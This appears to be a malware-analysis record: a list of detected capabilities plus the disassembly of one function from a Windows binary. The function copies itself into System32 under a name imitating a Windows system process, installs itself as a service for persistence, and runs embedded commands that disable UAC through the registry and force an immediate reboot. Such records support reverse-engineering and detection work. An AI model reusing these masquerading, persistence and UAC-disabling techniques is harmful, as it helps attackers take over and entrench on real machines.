Function at 0x140001350
Capabilities:
Copy file
Create process on windows
Create service
Disable system features via registry on windows
Enumerate gui resources
Enumerate processes
Modify service
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x1400013a2
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r8d, 0x104
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.140001820
lea r8, [rbp - 0x68]
mov r9, qword [rbp - 0x68]
mov r10, qword [rbp - 0x50]
cmp r10, 7
cmova r8, r9
lea rbx, str.C:WindowsSystem32TextlnputHost.exe
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x25
jne 0x1400016ca
mov rcx, rbx
test rdx, rdx
je 0x140001418
sub r8, rbx
nop word [rax + rax]
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x1400016ca
add rcx, 2
sub rdx, 1
jne 0x140001400
cmp r10, 7
jbe 0x140001455
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x14000144d
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000144d
call fcn.140008c70
int3
mov rcx, r9
call fcn.140001c7c
lea rdx, str.TextlnputHost
lea rcx, [rbp - 8]
call fcn.140001820
nop
lea rdx, str.Text_lnput_Host
lea rcx, [rbp - 0x28]
call fcn.140001820
nop
lea rdx, str._Windows_Text_Input_Host
lea rcx, [rbp + 0x18]
call fcn.140001820
nop
mov r8d, 0x104
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.140001820
mov r14d, 7
xor edx, edx
xor ecx, ecx
lea r8d, [r14 - 5]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
xor r15d, r15d
test rax, rax
je 0x140001578
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r8, qword [rbp - 0x28]
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rdx, qword [rbp - 8]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
mov r9d, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
je 0x14000156f
lea rax, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
cmova rax, qword [rbp + 0x18]
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x78]
lea edx, [r14 - 6]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor ecx, ecx
call fcn.1400087f0
mov rcx, rax
call fcn.140008690
nop word [rax + rax]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov rbx, r15
mov qword [rbp - 0x70], rbx
or r14d, 1
mov dword [rsp + 0x70], r14d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015c8
mov r14d, r15d
mov rsi, qword [rbp - 0x80]
jmp 0x140001683
mov dword [rbp + 0x40], 0x238
lea rdx, [rbp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400015f5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, r15d
mov rsi, qword [rbp - 0x80]
jmp 0x140001683
mov rdi, qword [rbp - 0x78]
nop dword [rax]
cmp rdi, rbx
je 0x140001614
mov eax, dword [rbp + 0x48]
mov dword [rdi], eax
add rdi, 4
mov qword [rbp - 0x78], rdi
jmp 0x14000162c
lea r8, [rbp + 0x48]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140001960
mov rbx, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x78]
lea rdx, [rbp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001600
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, r15d
mov rsi, qword [rbp - 0x80]
cmp rsi, rdi
je 0x140001683
call fcn.140008664
cdqe
sub rdi, rsi
sar rdi, 2
xor edx, edx
div rdi
mov eax, dword [rsi + rdx*4]
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x78]
lea rcx, [0x1400011c0]
call qword [sym.imp.USER32.dll_EnumWindows]
test rsi, rsi
je 0x140001590
sub rbx, rsi
and rbx, 0xfffffffffffffffc
mov rax, rsi
cmp rbx, 0x1000
jb 0x1400016b4
add rbx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016c4
mov rdx, rbx
mov rcx, rsi
call fcn.140001c7c
jmp 0x140001590
call fcn.140008c70
nop
lea rcx, [rbp - 0x68]
call fcn.1400017a0
mov rcx, rax
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x28], 1
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, str.reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
call fcn.1400086a8
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r__t_0
call fcn.1400086a8
mov ecx, 0x5d0
call fcn.140008658
int3